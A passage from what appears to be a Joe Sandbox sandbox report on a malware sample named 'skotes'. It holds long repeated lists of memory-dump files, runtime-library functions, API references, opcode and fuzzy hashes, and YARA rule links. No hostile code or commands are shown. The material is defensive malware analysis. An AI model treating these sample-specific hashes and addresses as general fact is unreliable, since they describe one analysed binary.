Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap__alloca_probe_16__freea
String ID: Zl,ml
API String ID: 809856575-2199340090
Opcode ID: b27cc5241a7db5ff1a0056b76b645e164b9c0cdde7e21d46dbcf8978b9e4d1dc
Instruction ID: 28b5df55670d2ab2ca8370b51b352e81b3d0d5dd0d19b0f17b5415af5dc4b75e
Opcode Fuzzy Hash: b27cc5241a7db5ff1a0056b76b645e164b9c0cdde7e21d46dbcf8978b9e4d1dc
Instruction Fuzzy Hash: 21317C71A0021AABDB219FA5CC41EFF7BABEF45310F05412CF814A7251DB388E51CBA4

Function 006C1704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 006C1764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006C17AF

Strings

pContext, xrefs: 006C17A7

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 69d5252c3d34cbf2c9902ac4443cfc832f426d133471714aa32e118bfbc315ff
Instruction ID: 2460718df925cb0f746462e554d58a49930e2890d1d2d7b89c31e19b0b1ea65c
Opcode Fuzzy Hash: 69d5252c3d34cbf2c9902ac4443cfc832f426d133471714aa32e118bfbc315ff
Instruction Fuzzy Hash: E511A235A002149BCB55AF58C485EBD77A7EF87360B15806DE912AF343DB74ED018AE4

Function 006B0C5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 006B0CD7
Concurrency::details::ResourceManager::ResourceManager.LIBCONCRT ref: 006B0D2A

Strings

p[o, xrefs: 006B0CCF

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$AcquireConcurrency::details::Concurrency::details::_Lock::_ManagerManager::Reentrant
String ID: p[o
API String ID: 3303180142-804407572
Opcode ID: 74c9476c7d8d3d8b2be8b1655bf818d443bacdbdfa18ff7b89310af0e1721ed6
Instruction ID: fc3751bbb5f236971647f85da77bfe612ddc0ab7c90c1ee66a26c302e1946ea2
Opcode Fuzzy Hash: 74c9476c7d8d3d8b2be8b1655bf818d443bacdbdfa18ff7b89310af0e1721ed6
Instruction Fuzzy Hash: D20179B0A056159AEB90BBF865613EE6EE36F09304F60405EF506E7382CF308E818755

Function 006ACAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateSemaphoreExW.KERNEL32(?,006B65E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 006ACAFC
CreateSemaphoreW.KERNEL32(?,006B65E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 006ACB1E

Strings

ek, xrefs: 006ACB12, 006ACAF0

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSemaphore
String ID: ek
API String ID: 1078844751-651932590
Opcode ID: c08d214e822829490f0338f08189bbbaa6444515e168798e70f629a72475ebd1
Instruction ID: e3e6c7b7355f9f71d74984e3f01637cb1388d340e86612044ff8b34a6f3f53df
Opcode Fuzzy Hash: c08d214e822829490f0338f08189bbbaa6444515e168798e70f629a72475ebd1
Instruction Fuzzy Hash: DFF03A36501128ABCF125F40EC048EE7F67EF08761B054050FE155A230C7329C61EFE0

Function 006BB92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 006BB94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006BB961

Strings

pContext, xrefs: 006BB959

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: e282a7295c18bb11bef20c6f5d683b06441ae5efef436d72381991ebf59ae18a
Instruction ID: 53afbe4347e13dfcd48c267aca0a0f8e5aac5d4e8786d196d1ce7efdce4ab8f9
Opcode Fuzzy Hash: e282a7295c18bb11bef20c6f5d683b06441ae5efef436d72381991ebf59ae18a
Instruction Fuzzy Hash: 4AE06839B003046BCB00F765D889CADB7BB9EC2B20701801DE611E7381EBB0EE00CAD4

Function 006B34CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 006B34FC

Strings

pScheduler, xrefs: 006B34F4
version, xrefs: 006B34E1

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
